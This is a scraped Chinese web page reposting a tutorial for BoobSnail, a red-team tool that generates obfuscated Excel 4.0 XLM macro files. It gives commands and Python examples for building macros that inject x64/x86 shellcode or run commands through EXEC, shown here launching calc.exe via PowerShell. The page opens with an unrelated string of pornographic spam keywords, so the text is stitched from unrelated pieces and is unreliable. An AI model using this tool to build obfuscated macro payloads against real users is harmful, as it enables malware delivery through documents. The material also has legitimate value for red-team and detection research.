日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
如何使用BoobSnail生成任意Excel4.0XLM宏文件

[[433420]]

關(guān)于BoobSnail

BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務(wù)中給紅隊(duì)和藍(lán)隊(duì)研究人員提供幫助。該工具支持的功能如下:

  • 各種感染技術(shù);
  • 各種代碼混淆技術(shù);
  • 將公式翻譯成英語(yǔ)以外的語(yǔ)言;
  • 可當(dāng)作代碼庫(kù)使用,以便研究人員編寫(xiě)自己的生成器;

工具下載

廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:

 
 
  1. git clone https://github.com/STMCyber/boobsnail.git 

工具依賴

BoobSnail基于Python 3開(kāi)發(fā),因此我們需要在本地設(shè)備上安裝并配置好Python

3.8.7rc1環(huán)境。接下來(lái),運(yùn)行下列命令安裝該工具所需依賴組件:

 
 
  1. pip install -r requirements.txt 
  2.  
  3. python boobsnail.py 
  4.  
  5. ___.                ___.     _________             .__.__ 
  6.  
  7. \_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  | 
  8.  
  9.  | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  | 
  10.  
  11.  | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__ 
  12.  
  13.  |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/ 
  14.  
  15.      \/                  \/        \/     \/     \/ 
  16.  
  17.      Author: @_mzer0 @stm_cyber 
  18.  
  19.      (...) 

工具使用

 
 
  1. python boobsnail.py  -h 

顯示可用的生成器類型:

 
 
  1. python boobsnail.py 

工具使用樣例

生成注入了x64或x86 Shellcode的經(jīng)過(guò)代碼混淆處理的宏:

 
 
  1. python boobsnail.py Excel4NtDonutGenerator --inputx86  --inputx64  --out boobsnail.csv 

生成能夠運(yùn)行calc.exe的經(jīng)過(guò)代碼混淆處理的宏:

 
 
  1. python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv 

代碼庫(kù)使用

BoobSnail使用了excel4lib庫(kù)來(lái)支持創(chuàng)建我們自己的Excel4宏生成器。excel4lib庫(kù)包含了幾個(gè)類,可以在創(chuàng)建生成器的過(guò)程中使用:

  • macro.Excel4Macro:允許定義Excel4公式和變量值;
  • macro.obfuscator.Excel4Obfuscator:允許對(duì)Excel4宏中的指令代碼進(jìn)行混淆處理;
  • lang.Excel4Translator:允許將公式轉(zhuǎn)譯為其他語(yǔ)言;

下面給出的例子中將創(chuàng)建一個(gè)能夠運(yùn)行calc.exe的簡(jiǎn)單宏:

 
 
  1. from excel4lib.macro import * 
  2.  
  3. # Create macro object 
  4.  
  5. macro = Excel4Macro("test.csv") 
  6.  
  7. # Add variable called cmd with value "calc.exe" to the worksheet 
  8.  
  9. cmd = macro.variable("cmd", "calc.exe") 
  10.  
  11. # Add EXEC formula with argument cmd 
  12.  
  13. macro.formula("EXEC", cmd) 
  14.  
  15. # Dump to CSV 
  16.  
  17. print(macro.to_csv()) 

結(jié)果如下:

 
 
  1. cmd="calc.exe"; 
  2.  
  3. =EXEC(cmd); 

如果你想對(duì)宏進(jìn)行混淆處理,則需要導(dǎo)入混淆工具并傳遞給Excel4Macro對(duì)象:

 
 
  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.macro.obfuscator import * 
  4.  
  5. # Create macro object 
  6.  
  7. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  8.  
  9. # Add variable called cmd with value "calc.exe" to the worksheet 
  10.  
  11. cmd = macro.variable("cmd", "calc.exe") 
  12.  
  13. # Add EXEC formula with argument cmd 
  14.  
  15. macro.formula("EXEC", cmd) 
  16.  
  17. # Dump to CSV 
  18.  
  19. print(macro.to_csv()) 

如需將你的宏轉(zhuǎn)譯為其他語(yǔ)言,假設(shè)為波蘭語(yǔ)(當(dāng)前該工具僅支持英語(yǔ)和波蘭語(yǔ)),我們則需要導(dǎo)入Excel4Translator類,并調(diào)用set_language方法:

 
 
  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.lang.excel4_translator import * 
  4.  
  5. # Change language 
  6.  
  7. Excel4Translator.set_language("pl_PL") 
  8.  
  9. # Create macro object 
  10.  
  11. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  12.  
  13. # Add variable called cmd with value "calc.exe" to the worksheet 
  14.  
  15. cmd = macro.variable("cmd", "calc.exe") 
  16.  
  17. # Add EXEC formula with argument cmd 
  18.  
  19. macro.formula("EXEC", cmd) 
  20.  
  21. # Dump to CSV 
  22.  
  23. print(macro.to_csv()) 

結(jié)果如下:

 
 
  1. cmd="calc.exe"; 
  2.  
  3. =URUCHOM.PROGRAM(cmd); 

如果你需要?jiǎng)?chuàng)建一個(gè)能將其他公式作為接收參數(shù)的公式,則需要使用Excel4Macro.argument函數(shù):

 
 
  1. from excel4lib.macro import * 
  2.  
  3. macro = Excel4Macro("test.csv") 
  4. # Add variable called cmd with value "calc" to the worksheet 
  5.  
  6. cmd_1 = macro.variable("cmd", "calc") 
  7.  
  8. # Add cell containing .exe as value 
  9.  
  10. cmd_2 = macro.value(".exe") 
  11.  
  12. # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2 
  13.  
  14. exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2) 
  15.  
  16. macro.formula("EXEC", exec_arg) 
  17.  
  18. # Dump to CSV 
  19.  
  20. print(macro.to_csv()) 

結(jié)果如下:

 
 
  1. cmd="calc"; 
  2.  
  3. .exe; 
  4.  
  5. =EXEC(CONCATENATE(cmd,R2C1)); 

項(xiàng)目地址

BoobSnail:【GitHub傳送門(mén)】

 


分享題目:如何使用BoobSnail生成任意Excel4.0XLM宏文件
當(dāng)前網(wǎng)址:http://m.5511xx.com/article/dphppij.html